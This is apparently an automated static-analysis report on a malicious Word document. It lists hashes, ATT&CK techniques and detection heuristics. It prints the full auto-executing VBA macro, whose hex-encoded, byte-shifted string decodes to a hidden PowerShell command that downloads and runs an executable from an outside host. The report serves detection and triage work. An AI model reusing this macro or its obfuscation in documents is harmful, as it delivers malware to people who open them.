Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f45e32f9f48ab216…

MALICIOUS

Office (OOXML)

143.8 KB Created: 2020-08-10 14:32:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-09-24
MD5: d3f1d2e3ef56fce70eb067abef817994 SHA-1: d4ecfa3330ce01cd08aaeb200bd08fa8bdc443fa SHA-256: f45e32f9f48ab2169d7a771893521741d4eb08543b342310f33ee3b352de5c58
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1105 Ingress Tool Transfer

This OOXML document contains a VBA macro that executes upon opening. The macro utilizes WScript.Shell to run a deobfuscated URL, which likely serves as a downloader for a second-stage payload. The deobfuscated URL is "

Heuristics 8

  • ClamAV: Doc.Downloader.Mrax-9763143-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Mrax-9763143-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run hello("8892894554884595949C8A97988D8A9191538A9D8A45528A9D8A889A998E94939594918E889E45879E9586989845527C456D8E89898A93455288949292869389454D938A9C5294878F8A889945789E98998A9253738A99537C8A8768918E8A93994E5369949C93919486896B8E918A4D4C8D9999955F5454988D86938C8D868E87918688908C949493985388949254678E93538A9D8A4C51498A939B5F798A9295504C817C866F7C71538A9D8A4C4E604D738A9C5274878F8A8899455288949245788D8A919153669595918E8886998E94934E53788D8A91916A9D8A889A998A4D498A939B5F798A9295504C817C866F …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run hello("8892894554884595949C8A97988D8A9191538A9D8A45528A9D8A889A998E94939594918E889E45879E9586989845527C456D8E89898A93455288949292869389454D938A9C5294878F8A889945789E98998A9253738A99537C8A8768918E8A93994E5369949C93919486896B8E918A4D4C8D9999955F5454988D86938C8D868E87918688908C949493985388949254678E93538A9D8A4C51498A939B5F798A9295504C817C866F7C71538A9D8A4C4E604D738A9C5274878F8A8899455288949245788D8A919153669595918E8886998E94934E53788D8A91916A9D8A889A998A4D498A939B5F798A9295504C817C866F …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Public Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1203 bytes
SHA-256: 1b37464cdfc09f2f4395804829cea162ba1d487052ff89cd38951027c87a001b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run hello("8892894554884595949C8A97988D8A9191538A9D8A45528A9D8A889A998E94939594918E889E45879E9586989845527C456D8E89898A93455288949292869389454D938A9C5294878F8A889945789E98998A9253738A99537C8A8768918E8A93994E5369949C93919486896B8E918A4D4C8D9999955F5454988D86938C8D868E87918688908C949493985388949254678E93538A9D8A4C51498A939B5F798A9295504C817C866F7C71538A9D8A4C4E604D738A9C5274878F8A8899455288949245788D8A919153669595918E8886998E94934E53788D8A91916A9D8A889A998A4D498A939B5F798A9295504C817C866F7C71538A9D8A4C4E")
End Sub
  Function hello(hlole As String)
        Dim holle As Integer
        Dim i As Integer
        Dim holel
        holle = 33
        holel = ""
        For i = 1 To Len(hlole) Step 2
            holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 37)
        Next
        hello = holel
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: b7d80d6b7d0dde925f40d47662daf155c7fb76061a999dd4d0aa538643d9c0f4
Detection
ClamAV: Doc.Downloader.Mrax-9763143-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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